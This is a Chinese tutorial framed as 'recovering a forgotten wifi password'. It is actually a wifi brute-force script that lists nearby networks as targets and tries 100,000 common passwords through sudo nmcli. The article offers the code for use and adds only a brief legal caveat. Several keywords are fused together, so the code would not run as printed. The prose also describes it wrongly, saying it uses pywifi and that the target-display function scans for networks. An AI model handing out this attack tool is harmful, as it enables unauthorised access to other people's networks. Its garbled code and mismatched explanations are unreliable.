忘记的wifi密码Python脚本找回

小编:饿狼 更新时间:2025-06-16 17:31

很多小伙伴都好奇,一些个网络大神咋就把wifi密码给找回来了?其实找回wifi密码的难度主要看密码设得有多复杂。如果是那种常见的弱密码,比如“12345678”,找回来真不难!下面就教你用Python脚本三步找回wifi密码,纯为学习技术,别拿去干违法的事儿哦!

忘记的wifi密码Python脚本找回

第一步:扫描附近wifi信号

想找回wifi密码,第一步得知道附近有哪些wifi信号。咱们可以用Python写个小函数,叫`display_targets`,获取wifi列表。

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

它能扫描附近wifi的SSID(就是wifi名字,比如“HUAWEI-XXXX”)。跑代码后,程序会把附近wifi信号列出来,存到列表里,方便你挑想找回密码的那个wifi。这个函数写下来也就十几行,超简单!

忘记的wifi密码Python脚本找回

小提示:先用`pip install pywifi`装好库,Windows、Mac、Linux都支持。跑之前确认下电脑网卡能不能扫wifi,不然可能啥也找不到。

第二步

扫完wifi列表后,找到你的wifi。这步更轻松,纯Python基础操作。可以用输入框,让你从列表选出wifi名字(比如“TP-LINK_1234”)。选好后,程序会记住这个wifi的SSID,准备下一步。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e

        print("Invalid choice: Please pick a number between 1 and " + str(max))

第三步:暴力尝试找回wifi密码

选好wifi后,重头戏来了——咋找回密码?最常用的办法是“暴力尝试”,就是拿一堆常见密码挨个试。咱们可以用GitHub上的一个开源项目,里面有10万个常用wifi密码(比如“admin123”之类的弱密码)。程序会自动用这些密码去试,直到找到对的那个。

具体咋干?写个函数,循环读取密码列表,自动尝试连wifi。每次试的时候,屏幕会用颜色提示:红色是试错了,紫色是正在试,绿色是找回成功!整个代码大概60行,核心就是`pywifi`的连接功能加上密码循环,效率很高。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()

        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)

        if (len(decoded_line) >= 8):
            time.sleep(3)

            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)

            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)

    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

小提醒:找回速度看你电脑性能和密码复杂程度。如果wifi用的是“password123”这种弱密码,估计几分钟就搞定;但如果是16位随机密码,难度就大多了。

把三步连起来

把这三步串起来,逻辑是这样的:先用`display_targets`扫wifi列表,选好你的wifi,最后用暴力尝试函数一个个试密码。整个脚本不到100行,简单又好使!跑的时候,屏幕会刷测试状态,红色、紫色、绿色提示清清楚楚,找到密码后直接显示,爽快!

def main():
    require_root()
    args = argument_parser()

    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)

    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)

    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

    brute_force(target, passwords, args)

小建议:找到密码后,记到手机备忘录里,标上“家里wifi密码”,免得下次又忘了。

一点小忠告

找回wifi密码听起来挺炫,但得悠着点。弱密码的wifi确实容易被找回,但还是建议自己家的wifi密码最好设得复杂点,字母、数字、符号混搭,12位以上才保险。别去试别人家的wifi,不仅不道德,还可能犯法。学这个主要是搞懂技术原理,满足好奇心,或者帮自己找回忘了的密码。

想玩得更深?可以分析找回成功率,比如统计哪些密码最常见,或者用Python的`matplotlib`把尝试时间画成图,数据控看了超满足!

好啦,三步找回wifi密码的教程到这儿!希望你觉得有趣又有料。